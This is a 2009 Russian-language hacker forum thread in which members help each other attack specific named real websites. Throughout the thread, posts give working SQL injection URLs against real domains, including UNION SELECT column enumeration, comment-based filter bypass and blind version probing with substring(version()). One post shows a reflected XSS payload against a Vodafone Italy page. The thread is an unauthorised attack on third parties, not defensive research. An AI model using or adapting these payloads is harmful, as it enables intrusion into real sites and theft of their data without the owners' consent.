Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    2 zifanchuck давай урлу
     
    1 person likes this.
  2. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2

    это бага?

    если да то неполучается узнать даже версию

    Code:
    /details.asp?id=699882982&dme_code=1%20or%201=@@version--
    в ответ получаю
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e21'  Incorrect syntax near the keyword 'or'.  /inc/connection.asp, line 48 
     
    #5722 F4R, 5 Mar 2009
    Last edited: 5 Mar 2009
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    or 1=(select @@version)
     
  4. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    F4R, читай литературу по MSSQL!
     
  5. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    дак я читал вчера весь день...

    на
    выводит

     
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.areaaziende.vodafone.it/190/pace/LoadAction.do?dest=demo&doc=iphone_3g_black&br=xss&mod=li%20zdes'%20ili%20prosto?

    что здесь такое?
     
  7. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    http://www.areaaziende.vodafone.it/190/pace/LoadAction.do?dest=demo&doc=iphone_3g_black&br=&mod=prosto
     
  8. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    Code:
    http://www.areaaziende.vodafone.it/190/pace/LoadAction.do?dest=demo&doc=iphone_3g_black&br=xss&mod=<script>alert(/dd/)</script>
    :) Не более...
     
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.tamasitheatre.ro/ro/1.html?cikk_id=3780+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--


    version() PostgreSQL

    не могу найти вывод, или все таки слепая?
     
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Фильтрация union, select
    Работает
    http://www.topnews.ru/citation.php?autor=749+order+by+8/*
    Неработает
    http://www.topnews.ru/citation.php?autor=749+order+by+8/*union*//*

    Gorev
    http://www.tamasitheatre.ro/ro/1.html?cikk_id=-3780+union+select+null,null,version(),null,4,null,null,null,1,null,null,null,null,null,null,2,3--
     
  11. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2

    вылезает ошибка:



    кто что может сказать?
     
  12. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Я могу сказать вот что:

    ОТСТАНЬ ОТ ЭТОГО САЙТА.

    И лучше тебе прислушаться :)
     
    1 person likes this.
  13. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    а ты знаешь что это за сайт?


    мне всего лишь хочется узнать версию и всё..
     
    #5733 F4R, 6 Mar 2009
    Last edited: 6 Mar 2009
  14. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    http://www.google.com/search?client=opera&rls=ru&q=dme_code&sourceid=opera&ie=utf-8&oe=utf-8
     
    1 person likes this.
  15. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    фигасе
    )
     
  16. VIP

    VIP Elder - Старейшина

    Joined:
    29 Dec 2004
    Messages:
    104
    Likes Received:
    3
    Reputations:
    0
    А аналоги под линуху есть?
     
  17. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    захват: wireshark, ettercap, ngrep, tcpdump
    посылка: netcat, curl
     
  18. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Burp Suite, WebScarab
     
    1 person likes this.
  19. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    Есть скуля========================================================
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=-1'
    ================================================================
    Слобцов 7......
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=1+order+by+7--
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=1+order+by+8--
    ================================================================
    Когда ввожу----- http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=1+union+select+1,2,3,4,5,6,7--
    Всё равно пишит-------The used SELECT statements have a different number of columns
    ================================================================
    Что такое? Как это обойти?
    ================================================================
    P.S===== А так же http://www.higherhacknell.co.uk/recipes.php?id=-1' ! Нельзя перебрать с помощью ORDER BY(Редериктит сразу).....Что в таком случае возможно сделать?
    Заранее спасибо! )) (Если где-то обсуждалось, то извините, не видел))))
    ================================================================
    ================================================================
     
  20. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=-1+and+substring(version(),1,1)=5--
    Code:
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=-1+and+substring(version(),1,1)=4--
    Code:
    http://www.phatbeats.co.uk/phatbeats-profile-detail.php?id=-1+and+substring(version(),1,1)=3--
    3-тяя ветка, в ней union select непашет!
     
    #5740 -m0rgan-, 6 Mar 2009
    Last edited: 6 Mar 2009
Thread Status:
Not open for further replies.